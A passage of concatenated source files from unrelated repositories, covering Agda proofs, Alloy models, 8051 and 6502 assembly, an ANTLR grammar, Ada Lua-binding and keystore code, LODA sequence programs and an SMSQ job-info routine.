-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ []
-- , [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (FETCH zero ∷
-- FETCH (suc zero) ∷
-- LT ∷
-- BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (FETCH (suc zero) ∷
-- LT ∷
-- BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , nat 1 ∷ [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (LT ∷
-- BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , nat 1 ∷ nat 1 ∷ [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (BRANCH
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷
-- MUL ∷
-- STORE (suc (suc zero)) ∷
-- LOOP (FETCH zero ∷ FETCH (suc zero) ∷ LT ∷ [])
-- (FETCH (suc zero) ∷
-- PUSH 1 ∷
-- ADD ∷
-- STORE (suc zero) ∷
-- FETCH (suc (suc zero)) ∷
-- FETCH (suc zero) ∷ MUL ∷ STORE (suc (suc zero)) ∷ [])
-- ∷ [])
-- (NOOP ∷ [])
-- ∷ []
-- , bool false ∷ [] , 1 ∷ 1 ∷ 1 ∷ [])
-- ∷
-- (NOOP ∷ [] , [] , 1 ∷ 1 ∷ 1 ∷ []) ∷ ([] , [] , 1 ∷ 1 ∷ 1 ∷ []) ∷ []
|
alloy4fun_models/trashltl/models/13/GFxzFCGzj3tQTTbFP.als | Kaixi26/org.alloytools.alloy | 0 | 123 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idGFxzFCGzj3tQTTbFP_prop14 {
all f:File | f in Protected&Trash implies after (f in Trash-Protected)
}
pred __repair { idGFxzFCGzj3tQTTbFP_prop14 }
check __repair { idGFxzFCGzj3tQTTbFP_prop14 <=> prop14o } |
a51test/(02)LJMP_a16.a51 | Aimini/51cpu | 0 | 10489 | ;LJMP addr16
LJMP 0x10
cseg at 0x10
mov a,#1
LJMP 0xFF00
cseg at 0xF0
mov a,#0xFF
LJMP 0x10
cseg at 0xff00
mov a,#0xF
LJMP 0xFFFB
cseg at 0xFFFB
mov a,#0xF0
LJMP 0xF0
|
src/L/Data/Bool.agda | borszag/smallib | 0 | 8066 | <reponame>borszag/smallib
module L.Data.Bool where
-- Reexport definitions
open import L.Data.Bool.Core public
open import L.Data.Bool.Properties public
-- Functions on Bools
infix 7 not_
infixr 6 _∧_
infixr 5 _∨_ _xor_
not_ : Bool → Bool
not x = if (λ _ → Bool) ff tt x
_∧_ : Bool → Bool → Bool
x ∧ y = if (λ _ → Bool) y ff x
_∨_ : Bool → Bool → Bool
x ∨ y = if (λ _ → Bool) tt y x
_xor_ : Bool → Bool → Bool
x xor y = if (λ _ → Bool) y (not y) x
|
bot/src/main/antlr4/co/edu/javeriana/bot/Bot.g4 | imalready/Bot_LenguajesP | 0 | 3566 | grammar Bot;
@header {
import org.jpavlich.bot.*;
import java.util.Map;
import java.util.HashMap;
import co.edu.javeriana.bot.ast.*;
}
@parser::members {
private Bot bot;
public BotParser(TokenStream input, Bot bot) {
this(input);
this.bot = bot;
}
Map<String, Object> symbolTable = new HashMap<String, Object>();
}
function: FUNCTION ID PAR_OPEN LET ID PAR_CLOSE BEGIN
{
List<ASTNode> body = new ArrayList<ASTNode>();
Map<String,Object> symbolTable = new HashMap<String,Object>();
}
(sentence {body.add($sentence.node);})*
END
{
for(ASTNode n : body){
n.execute(symbolTable);
}
}
SEMICOLON
;
sentence returns [ASTNode node]: println {$node = $println.node;}
| conditional {$node = $conditional.node;}
| decl {$node = $decl.node;}
| assign {$node = $assign.node;}
| decl_assign {$node = $decl_assign.node;}
| cycle {$node = $cycle.node;}
;
up returns [ASTNode node]:
UP expression SEMICOLON
;
down returns [ASTNode node]:
DOWN expression SEMICOLON
;
left returns [ASTNode node]:
LEFT expression SEMICOLON
;
right returns [ASTNode node]:
RIGHT expression SEMICOLON
;
pick returns [ASTNode node]:
PICK expression SEMICOLON
;
drop returns [ASTNode node]:
DROP expression SEMICOLON
;
println returns [ASTNode node]: PRINTLN expression SEMICOLON
{$node = new Println($expression.node);};
conditional returns [ASTNode node]: IF PAR_OPEN statement PAR_CLOSE
{
List<ASTNode> body = new ArrayList<ASTNode>();
}
BEGIN (s1 = sentence {body.add($s1.node);})* END
ELSE
{
List<ASTNode> elseBody = new ArrayList<ASTNode>();
}
BEGIN (s2 = sentence {elseBody.add($s2.node);})* END SEMICOLON
{
$node = new If($statement.node,body,elseBody);
};
cycle returns [ASTNode node]: WHILE PAR_OPEN statement PAR_CLOSE
{
List<ASTNode> body = new ArrayList<ASTNode>();
}
BEGIN (s1 = sentence {body.add($s1.node);})* END
{
$node = new Ciclo($statement.node,body);
}
SEMICOLON;
decl returns [ASTNode node]:
LET ID SEMICOLON {$node = new Decl($ID.text);}
;
assign returns [ASTNode node]:
ID ASSIGN expression SEMICOLON {$node = new Assign($ID.text, $expression.node);}
;
decl_assign returns [ASTNode node]:
LET ID ASSIGN expression SEMICOLON {$node = new Decl($ID.text);
$node = new Assign($ID.text, $expression.node);
}
;
expression returns [ASTNode node]:
t1=factor {$node = $t1.node;}
(MAS t2=factor {$node = new Addition($node, $t2.node);}
| MENOS t2=factor {$node = new Minus($node, $t2.node);})*;
statement returns [ASTNode node]:
t1=factor {$node = $t1.node;}
(GT t2=factor {$node = new MayorQue($node, $t2.node);}
| LT t2=factor {$node = new MenorQue($node, $t2.node);}
| EQ t2=factor {$node = new IgualQue($node, $t2.node);})*;
factor returns [ASTNode node]:
t1=term {$node = $t1.node;}
(MULT t2=term {$node = new Multiplication($node, $t2.node);}
| DIV t2=term {$node = new Division($node, $t2.node);}
)*;
term returns [ASTNode node]:
NUMERO{$node = new Constant(Integer.parseInt($NUMERO.text));}
| BOOL {$node = new Constant(Boolean.parseBoolean($BOOL.text));}
| ID {$node = new Refer($ID.text);}
| PAR_OPEN expression {$node = $expression.node;} PAR_CLOSE;
// Los tokens se escriben a continuación de estos comentarios.
FUNCTION: 'function';
END: 'end';
LET: 'let';
PRINTLN: 'println';
BEGIN: 'begin';
UP: 'up';
DOWN: 'down';
RIGHT: 'right';
LEFT: 'left';
PICK: 'pick';
DROP: 'drop';
LOOK: 'look';
BOOL: 'true'|'false';
IF: 'if';
ELSE: 'else';
WHILE: 'while';
GT: '>';
LT: '<';
ENTRE: '<>';
EQ: '==';
GEQ: '>=';
LEQ: '<=';
NEQ: '!=';
AND: 'and';
OR: 'or';
NOT: 'not';
MAS: '+';
MENOS: '-';
MULT: '*';
DIV: '/';
ASSIGN: '=';
READ: 'read';
WRITELN: 'writeln';
SEMICOLON: ';';
PAR_OPEN: '(';
PAR_CLOSE: ')';
BRACKET_OPEN: '{';
BRACKET_CLOSE: '}';
fragment QUOTE: '"';
WRITE: 'write';
ID: (LETTER|'_')(LETTER|DIGITS|'_')*;
fragment DIGIT: [0-9];
fragment DIGITS: DIGIT+;
NUMERO: DIGITS('.'DIGITS)?('E'[+-]?DIGITS)?;
fragment LETTER: [a-zA-Z];
STRING: LETTER*;
WS:
[ \t\n\r]+ -> skip
; |
alloy4fun_models/trainstlt/models/6/dkHGCXPEySQtPBx68.als | Kaixi26/org.alloytools.alloy | 0 | 1414 | open main
pred iddkHGCXPEySQtPBx68_prop7 {
all t : Train | always (eventually t.pos not in Entry)
}
pred __repair { iddkHGCXPEySQtPBx68_prop7 }
check __repair { iddkHGCXPEySQtPBx68_prop7 <=> prop7o } |
homotopy/SuspAdjointLoop.agda | danbornside/HoTT-Agda | 0 | 1519 | <filename>homotopy/SuspAdjointLoop.agda
{-# OPTIONS --without-K #-}
open import HoTT
module homotopy.SuspAdjointLoop where
module SuspAdjointLoop {i j} (X : Ptd i) (Y : Ptd j) where
private
A = fst X; a₀ = snd X
B = fst Y; b₀ = snd Y
R : {b : B}
→ Σ (Suspension A → B) (λ h → h (north A) == b)
→ Σ (A → (b == b)) (λ k → k a₀ == idp)
R (h , idp) =
(λ a → ap h (merid A a ∙ ! (merid A a₀))) ,
ap (ap h) (!-inv-r (merid A a₀))
L : {b : B}
→ Σ (A → (b == b)) (λ k → k a₀ == idp)
→ Σ (Suspension A → B) (λ h → h (north A) == b)
L {b} (k , _) = (SuspensionRec.f A b b k) , idp
{- Show that R ∘ L ∼ idf -}
R-L : {b : B} → ∀ K → R {b} (L K) == K
R-L {b} (k , kpt) = ⊙λ= R-L-fst R-L-snd
where
R-L-fst : (a : A)
→ ap (SuspensionRec.f A b b k) (merid A a ∙ ! (merid A a₀)) == k a
R-L-fst a =
ap-∙ (SuspensionRec.f A b b k) (merid A a) (! (merid A a₀))
∙ ap2 _∙_ (SuspensionRec.glue-β A b b k a)
(ap-! (SuspensionRec.f A b b k) (merid A a₀)
∙ ap ! (SuspensionRec.glue-β A b b k a₀ ∙ kpt))
∙ ∙-unit-r (k a)
-- lemmas generalize to do some path induction for R-L-snd
lemma₁ : ∀ {i j} {A : Type i} {B : Type j} (f : A → B) {a₁ a₂ : A}
(p : a₁ == a₂) {q r : f a₁ == f a₂} {s : f a₁ == f a₁}
(α : ap f p == q) (β : q == r) (γ : q ∙ ! r == s) (δ : s == idp)
(σ : !-inv-r r == transport (λ t → t ∙ ! r == idp) β (γ ∙ δ))
→ ap (ap f) (!-inv-r p)
== (ap-∙ f p (! p) ∙ ap2 _∙_ α (ap-! f p ∙ ap ! (α ∙ β)) ∙ γ) ∙ δ
lemma₁ f idp idp idp γ idp σ = σ
lemma₂ : ∀ {i} {A : Type i} {x : A} {p : x == x} (α : p == idp)
→ idp == transport (λ t → t ∙ idp == idp) α (∙-unit-r p ∙ α)
lemma₂ idp = idp
R-L-snd : ap (ap (SuspensionRec.f A b b k)) (!-inv-r (merid A a₀))
== R-L-fst a₀ ∙ kpt
R-L-snd =
ap (ap (SuspensionRec.f A b b k)) (!-inv-r (merid A a₀))
=⟨ lemma₁ (SuspensionRec.f A b b k) (merid A a₀)
(SuspensionRec.glue-β A b b k a₀)
kpt (∙-unit-r (k a₀)) kpt (lemma₂ kpt) ⟩
R-L-fst a₀ ∙ kpt ∎
{- Show that L ∘ R ∼ idf -}
L-R : {b : B} → ∀ H → L {b} (R H) == H
L-R (h , idp) = ⊙λ= L-R-fst idp
where
fst-lemma : ∀ {i j} {A : Type i} {B : Type j} {x y z : A}
(f : A → B) (p : x == y) (q : z == y)
→ ap f p == ap f (p ∙ ! q) ∙' ap f q
fst-lemma _ idp idp = idp
L-R-fst : (σ : Suspension A) →
SuspensionRec.f A (h (north _)) (h (north _)) (fst (R (h , idp))) σ == h σ
L-R-fst = Suspension-elim A
idp
(ap h (merid A a₀))
(λ a → ↓-='-in $
ap h (merid A a)
=⟨ fst-lemma h (merid A a) (merid A a₀) ⟩
ap h (merid A a ∙ ! (merid A a₀)) ∙' ap h (merid A a₀)
=⟨ ! (SuspensionRec.glue-β A _ _ (fst (R (h , idp))) a)
|in-ctx (λ w → w ∙' (ap h (merid A a₀))) ⟩
ap (fst (L (R (h , idp)))) (merid A a) ∙' ap h (merid A a₀)
∎)
{- Show that R respects basepoint -}
pres-ident : {b : B}
→ R {b} ((λ _ → b) , idp) == ((λ _ → idp) , idp)
pres-ident {b} = ⊙λ=
(λ a → ap-cst b (merid A a ∙ ! (merid A a₀)))
(ap (ap (λ _ → b)) (!-inv-r (merid A a₀))
=⟨ lemma (merid A a₀) b ⟩
ap-cst b (merid A a₀ ∙ ! (merid A a₀))
=⟨ ! (∙-unit-r _) ⟩
ap-cst b (merid A a₀ ∙ ! (merid A a₀)) ∙ idp ∎)
where
lemma : ∀ {i j} {A : Type i} {B : Type j} {x y : A} (p : x == y) (b : B)
→ ap (ap (λ _ → b)) (!-inv-r p) == ap-cst b (p ∙ ! p)
lemma idp b = idp
{- Show that if there is a composition operation ⊙ on B, then R respects
that composition, that is R {b ⊙ c} (F ⊙ G) == R {b} F ∙ R {c} G -}
-- lift a composition operation on the codomain to the function space
comp-lift : ∀ {i j} {A : Type i} {B C D : Type j}
(a : A) (b : B) (c : C) (_⊙_ : B → C → D)
→ Σ (A → B) (λ f → f a == b)
→ Σ (A → C) (λ g → g a == c)
→ Σ (A → D) (λ h → h a == b ⊙ c)
comp-lift a b c _⊙_ (f , fpt) (g , gpt) =
(λ x → f x ⊙ g x) , ap2 _⊙_ fpt gpt
pres-comp-fst : ∀ {i j} {A : Type i} {B : Type j} (f g : A → B)
(_⊙_ : B → B → B) {a₁ a₂ : A} (p : a₁ == a₂)
→ ap (λ x → f x ⊙ g x) p == ap2 _⊙_ (ap f p) (ap g p)
pres-comp-fst f g _⊙_ idp = idp
pres-comp-snd : ∀ {i j} {A : Type i} {B : Type j} (f g : A → B)
(_⊙_ : B → B → B) {a₁ a₂ : A} (q : a₁ == a₂)
→ ap (ap (λ x → f x ⊙ g x)) (!-inv-r q)
== pres-comp-fst f g _⊙_ (q ∙ ! q)
∙ ap2 (ap2 _⊙_) (ap (ap f) (!-inv-r q)) (ap (ap g) (!-inv-r q))
pres-comp-snd f g _⊙_ idp = idp
pres-comp : {b c : B} (_⊙_ : B → B → B)
(F : Σ (Suspension A → B) (λ f → f (north A) == b))
(G : Σ (Suspension A → B) (λ f → f (north A) == c))
→ R (comp-lift (north A) b c _⊙_ F G)
== comp-lift a₀ idp idp (ap2 _⊙_) (R F) (R G)
pres-comp _⊙_ (f , idp) (g , idp) = ⊙λ=
(λ a → pres-comp-fst f g _⊙_ (merid A a ∙ ! (merid A a₀)))
(pres-comp-snd f g _⊙_ (merid A a₀))
eqv : fst (⊙Susp X ⊙→ Y) ≃ fst (X ⊙→ ⊙Ω Y)
eqv = equiv R L R-L L-R
⊙path : (⊙Susp X ⊙→ Y) == (X ⊙→ ⊙Ω Y)
⊙path = ⊙ua eqv pres-ident
|
examples/functions_example.adb | jhumphry/aLua | 0 | 22662 | <reponame>jhumphry/aLua
-- Functions_Example
-- A example of using the Ada 2012 interface to Lua for functions / closures etc
-- Copyright (c) 2015, <NAME> - see LICENSE for terms
with Ada.IO_Exceptions;
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Long_Float_Text_IO; use Ada.Long_Float_Text_IO;
with Ada.Characters.Latin_1;
with Lua; use Lua;
with Lua.Libs;
with Lua.Util; use Lua.Util;
with Example_AdaFunctions;
procedure Functions_Example is
L : Lua_State;
Success : Thread_Status;
R : Lua_Reference;
LF : Character renames Ada.Characters.Latin_1.LF;
Coroutine_Source : aliased constant String := "" &
"function co (x) " & LF &
" for i = 1, x do " & LF &
" yield(i) " & LF &
" end " & LF &
" return -1 " & LF &
" end " & LF &
"";
begin
Put_Line("A simple example of using Lua and Ada functions together");
Put("Lua version: ");
Put(Item => L.Version, Aft => 0, Exp => 0);
New_Line; New_Line;
Put_Line("Loading chunk: function f (x) return 2*x end");
Success := L.LoadString_By_Copy("function f (x) return 2*x end");
Put_Line("Load" & (if Success /= OK then " not" else "") & " successful.");
L.Call(nargs => 0, nresults =>0);
Put_Line("Compiled chunk.");
Put("Result of calling f (3): ");
L.PushInteger(3);
L.Call_Function(name => "f", nargs => 1, nresults => 1);
Put(L.ToNumber(-1), Aft => 0, Exp => 0); New_Line;
New_Line;
Put_Line("Saving a reference to the top of the stack and clearing it.");
R := Ref(L);
L.SetTop(0);
Print_Stack(L);
Put_Line("Retrieving reference...");
L.Get(R);
Print_Stack(L);
New_Line;
Put_Line("Attempting to save function f to a file as a binary chunk.");
L.GetGlobal("f");
begin
L.DumpFile("function_f.luachunk");
Put_Line("Saving function f to a file appears to have succeeded.");
exception
when Lua_Error | Ada.IO_Exceptions.Status_Error |
Ada.IO_Exceptions.Name_Error | Ada.IO_Exceptions.Use_Error =>
Put_Line("Saving function f to a file failed!");
end;
New_Line;
Put_Line("Loading IO library and running example Lua file");
Libs.Require_Standard_Library(L, Libs.IO_Lib);
Success := L.LoadFile("examples/example_lua.lua");
Put_Line("Load" & (if Success /= OK then " not" else "") & " successful.");
if Success = OK then
L.Call(nargs => 0, nresults =>0);
Put_Line("Compiled chunk. Result of calling triangle (5):");
L.PushNumber(5.0);
L.Call_Function(name => "triangle", nargs => 1, nresults => 0);
end if;
New_Line;
L.SetTop(0);
Put_Line("Registering an AdaFunction foobar in Lua");
L.Register("foobar", AdaFunction'(Example_AdaFunctions.FooBar'Access));
Success := L.LoadString_By_Copy("baz = foobar(5.0)");
Put_Line("Loading code snippet 'baz = foobar(5.0)'" &
(if Success /= OK then " not" else "") & " successful.");
Put_Line("Calling 'baz = foobar(5.0)' from Lua");
L.Call(nargs => 0, nresults =>0);
Put("baz = ");
L.GetGlobal("baz");
Put(L.ToNumber(-1), Aft => 0, Exp => 0); New_Line;
New_Line;
L.SetTop(0);
Put_Line("Checking foobar can be retrieved");
L.GetGlobal("foobar");
if not L.IsAdaFunction(-1) then
Put_Line("Error - foobar does not contain an AdaFunction?");
end if;
if L.ToAdaFunction(-1) = AdaFunction'(Example_AdaFunctions.FooBar'Access) then
Put_Line("AdaFunction foobar retrieved successfully from Lua");
else
Put_Line("AdaFunction foobar was NOT retrieved from Lua");
end if;
New_Line;
L.SetTop(0);
Put_Line("Registering an AdaFunction multret in Lua");
L.Register("multret", AdaFunction'(Example_AdaFunctions.Multret'Access));
Put_Line("Calling 'multret(5)' from Lua");
L.PushInteger(5);
L.Call_Function(name => "multret", nargs => 1, nresults => MultRet_Sentinel);
Print_Stack(L);
New_Line;
L.SetTop(0);
Put_Line("Registering an AdaFunction closure (with upvalue 2.0) in Lua");
L.PushNumber(2.0);
L.PushAdaClosure(AdaFunction'(Example_AdaFunctions.Closure'Access), 1);
L.SetGlobal("closure");
Put_Line("Calling 'closure(3.5)' from Lua");
L.PushNumber(3.5);
L.Call_Function(name => "closure", nargs => 1, nresults => MultRet_Sentinel);
Print_Stack(L);
New_Line;
L.SetTop(0);
Put_Line("Now to look at using coroutines");
Libs.Add_Yield_Function(L);
Put_Line("Loading coroutine source: ");
Put_Line(Coroutine_Source);
Success := L.LoadString(Coroutine_Source);
Put_Line("Load" & (if Success /= OK then " not" else "") & " successful.");
L.Call(nargs => 0, nresults =>0);
Put_Line("Compiled coroutine code.");
declare
Coroutine : constant Lua_Thread := L.NewThread;
Coroutine_Status : Thread_Status;
begin
Put_Line("New thread created");
Put_Line("Resuming coroutine with parameter 3 in this thread:");
Coroutine.GetGlobal("co");
Coroutine.PushInteger(3);
Coroutine_Status := Coroutine.Resume(nargs => 1);
Put("Coroutine status : " & Thread_Status'Image(Coroutine_Status));
Put(" Result: "); Put(Coroutine.ToNumber(-1)); New_Line;
L.Pop(1); -- argument no longer needed in this example
while Coroutine_Status = YIELD loop
Coroutine_Status := Coroutine.Resume(nargs => 0);
Put("Coroutine status : " & Thread_Status'Image(Coroutine_Status));
Put(" Result: "); Put(Coroutine.ToNumber(-1)); New_Line;
end loop;
end;
New_Line;
L.SetTop(0);
declare
S : constant Lua_Reference := R;
begin
Put_Line("Retrieving a copy of reference saved earlier...");
L.Get(S);
Print_Stack(L);
end;
Put_Line("Retrieving reference saved earlier...");
L.Get(R);
Print_Stack(L);
New_Line;
end Functions_Example;
|
src/main/fragment/mos6502-common/vwum1=pwuz2_derefidx_vbuyy_ror_8.asm | jbrandwood/kickc | 2 | 164027 | lda #0
sta {m1}+1
iny
lda ({z2}),y
sta {m1} |
src/keystore-passwords-keys.adb | thierr26/ada-keystore | 25 | 9591 | <reponame>thierr26/ada-keystore<filename>src/keystore-passwords-keys.adb<gh_stars>10-100
-----------------------------------------------------------------------
-- keystore-passwords-keys -- Key provider
-- Copyright (C) 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Encoders.SHA256;
with Util.Encoders.HMAC.SHA256;
package body Keystore.Passwords.Keys is
type Raw_Key_Provider (Len : Key_Length) is limited new Key_Provider
and Internal_Key_Provider with record
Password : Ada.Streams.Stream_Element_Array (1 .. Len);
end record;
type Raw_Key_Provider_Access is access all Raw_Key_Provider'Class;
-- Get the Key, IV and signature.
overriding
procedure Get_Keys (From : in Raw_Key_Provider;
Key : out Secret_Key;
IV : out Secret_Key;
Sign : out Secret_Key);
overriding
procedure Save_Key (Provider : in Raw_Key_Provider;
Data : out Ada.Streams.Stream_Element_Array);
-- ------------------------------
-- Create a key, iv, sign provider from the string.
-- ------------------------------
function Create (Password : in String;
Length : in Key_Length := DEFAULT_KEY_LENGTH)
return Key_Provider_Access is
Result : Raw_Key_Provider_Access;
Hash : Util.Encoders.SHA256.Hash_Array;
begin
Result := new Raw_Key_Provider '(Len => Length, others => <>);
Hash := Util.Encoders.HMAC.SHA256.Sign (Password, Password);
for I in 1 .. Length loop
Result.Password (I) := Hash (I mod Hash'Length);
Util.Encoders.HMAC.SHA256.Sign (Hash, Hash, Hash);
end loop;
return Result.all'Access;
end Create;
function Create (Password : in Ada.Streams.Stream_Element_Array)
return Key_Provider_Access is
begin
return new Raw_Key_Provider '(Len => Password'Length,
Password => Password);
end Create;
-- ------------------------------
-- Get the Key, IV and signature.
-- ------------------------------
overriding
procedure Get_Keys (From : in Raw_Key_Provider;
Key : out Secret_Key;
IV : out Secret_Key;
Sign : out Secret_Key) is
First : Ada.Streams.Stream_Element_Offset := 1;
Last : Ada.Streams.Stream_Element_Offset := First + Key.Length - 1;
begin
if From.Len /= Key.Length + IV.Length + Sign.Length then
raise Keystore.Bad_Password with "Invalid length for the key file";
end if;
Util.Encoders.Create (From.Password (First .. Last), Key);
First := Last + 1;
Last := First + IV.Length - 1;
Util.Encoders.Create (From.Password (First .. Last), IV);
First := Last + 1;
Last := First + Sign.Length - 1;
Util.Encoders.Create (From.Password (First .. Last), Sign);
end Get_Keys;
overriding
procedure Save_Key (Provider : in Raw_Key_Provider;
Data : out Ada.Streams.Stream_Element_Array) is
begin
Data := Provider.Password;
end Save_Key;
end Keystore.Passwords.Keys;
|
Structure/Category/CoMonad.agda | Lolirofle/stuff-in-agda | 6 | 13131 | open import Structure.Setoid
open import Structure.Category
open import Type
module Structure.Category.CoMonad
{ℓₒ ℓₘ ℓₑ}
{cat : CategoryObject{ℓₒ}{ℓₘ}{ℓₑ}}
where
import Function.Equals
open Function.Equals.Dependent
open import Functional.Dependent using () renaming (_∘_ to _∘ᶠⁿ_)
import Lvl
open import Logic.Predicate
open import Structure.Category.Functor
open import Structure.Category.Functor.Functors as Functors
open import Structure.Category.NaturalTransformation
open import Structure.Category.NaturalTransformation.NaturalTransformations as NaturalTransformations
open CategoryObject(cat)
open Category.ArrowNotation(category)
open Category(category)
open Functors.Wrapped
open NaturalTransformations.Raw(intro category)(intro category)
private instance _ = cat
record CoMonad (T : Object → Object) ⦃ functor : Functor(category)(category)(T) ⦄ : Type{Lvl.of(Type.of(cat))} where
open Functor(functor)
functor-object : cat →ᶠᵘⁿᶜᵗᵒʳ cat
functor-object = [∃]-intro T ⦃ functor ⦄
private Tᶠᵘⁿᶜᵗᵒʳ = functor-object
field
Η : (Tᶠᵘⁿᶜᵗᵒʳ →ᴺᵀ idᶠᵘⁿᶜᵗᵒʳ)
Μ : (Tᶠᵘⁿᶜᵗᵒʳ →ᴺᵀ (Tᶠᵘⁿᶜᵗᵒʳ ∘ᶠᵘⁿᶜᵗᵒʳ Tᶠᵘⁿᶜᵗᵒʳ))
η = [∃]-witness Η
μ = [∃]-witness Μ
η-natural : ∀{x y}{f} → (η(y) ∘ map f ≡ f ∘ η(x))
η-natural = NaturalTransformation.natural([∃]-proof Η)
μ-natural : ∀{x y}{f} → (μ(y) ∘ map f ≡ map(map f) ∘ μ(x))
μ-natural = NaturalTransformation.natural([∃]-proof Μ)
field
μ-functor-[∘]-commutativity : ((μ ∘ᶠⁿ T) ∘ᴺᵀ μ ⊜ (map ∘ᶠⁿ μ) ∘ᴺᵀ μ)
μ-functor-[∘]-identityₗ : ((map ∘ᶠⁿ η) ∘ᴺᵀ μ ⊜ idᴺᵀ)
μ-functor-[∘]-identityᵣ : ((η ∘ᶠⁿ T) ∘ᴺᵀ μ ⊜ idᴺᵀ)
module FunctionalNames where
extract : ∀{x} → (T(x) ⟶ x)
extract{x} = [∃]-witness Η(x)
duplicate : ∀{x} → (T(x) ⟶ T(T(x)))
duplicate{x} = [∃]-witness Μ(x)
|
programs/oeis/017/A017730.asm | neoneye/loda | 22 | 84566 | ; A017730: Binomial coefficients C(n,66).
; 1,67,2278,52394,916895,13019909,156238908,1629348612,15071474661,125595622175,954526728530,6681687099710,43430966148115,263926640438545,1508152231077400,8144022047817960,41738112995067045,203780198740621455,950974260789566790,4254358535111219850,18293741700978245355,75788358475481302185,303153433901925208740,1173071983359623633820,4399019937598588626825,16012432572858862601643,56659376796269821513506,195160075631596051879854,655180253906072459882367,2146280142106099437545685,6868096454739518200146192,21490495358378492432715504,65814642035034133075191231,197443926105102399225573693,580717429720889409486981450,1675784582908852295948146470,4748056318241748171853081665,13217562183213515181104524635,36174380711952778390391330580,97392563455257480281822813100,258090293156432322746830454715,673552716286298988631972162305,1731992699021911685053642703070,4390400097520659852810396619410,10976000243801649632025991548525,27074133934710735758997445819695,65919630449730487065385085474040,158487622145096702944436482097160,376408102594604669493036644980755,883406771395500754932637023934425,2049503709637561751443717895527866,4701802627992053429782646936799222,10669475194289659706045237279659773,23955991473971122736214778043009679,53235536608824717191588395651132620,117118180539414377821494470432491764,255150321889438465968255810585071343,550587536708788268668341485999364477
add $0,66
bin $0,66
|
oeis/133/A133479.asm | neoneye/loda-programs | 11 | 21611 | <gh_stars>10-100
; A133479: a(n) = a(n-1) + 8*a(n-2) for n >= 2, a(0)=1, a(1)=2.
; Submitted by <NAME>(s4)
; 1,2,10,26,106,314,1162,3674,12970,42362,146122,485018,1653994,5534138,18766090,63039194,213167914,717481466,2422824778,8162676506,27545274730,92846686778,313208884618,1055982378842,3561653455786
mov $1,1
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $2,8
add $3,$1
mov $1,$2
lpe
mov $0,$3
|
Task/Pointers-and-references/Ada/pointers-and-references-8.ada | LaudateCorpus1/RosettaCodeData | 1 | 2235 | <reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10
type Container is array (Positive range <>) of Element;
for Item of Container loop
Do_Something(Item);
end loop;
|
smsq/sms/injb.asm | olifink/smsqe | 0 | 13430 | ; Get information on a job V2.00 1986 <NAME> QJUMP
section sms
xdef sms_injb ; information on job
xdef sms_nxjb ; next job in tree
xref sms_ckjx ; check job exists
xref sms_ckid ; check job id
xref sms_rte
include 'dev8_keys_err'
include 'dev8_keys_sys'
include 'dev8_keys_jcbq'
;+++
; Information on job.
;***** NO!! If the Job ID passed is = 0, the the routine returns ERR.IJOB with
; d1 set to the ID of the first Job owned by d2. D3 and a0 are both returned 0.
;
; d0 r 0 or invalid job
; d1 cr job ID / next job in tree
; d2 cr job at top of tree / job owner
; d3 r msbyte -ve if suspended, lsbyte is priority
; a0 r base of job
; a6 c p base of system variables
;
; all other registers preserved
;---
sms_injb
exg d1,d2
bsr.l sms_ckid ; check if top possible
exg d1,d2
bne.s sij_exit ; oops
sij_exst
bsr.l sms_ckjx ; check if job exists
bne.s sij_exit ; ... oops
move.l d2,d0 ; keep true top id safe
move.l jcb_ownr(a0),d2 ; ... job owner
moveq #0,d3 ; not suspended
tst.w jcb_wait(a0) ; waiting?
beq.s sij_prior ; ... no
not.l d3 ; yes, set suspended
sij_prior
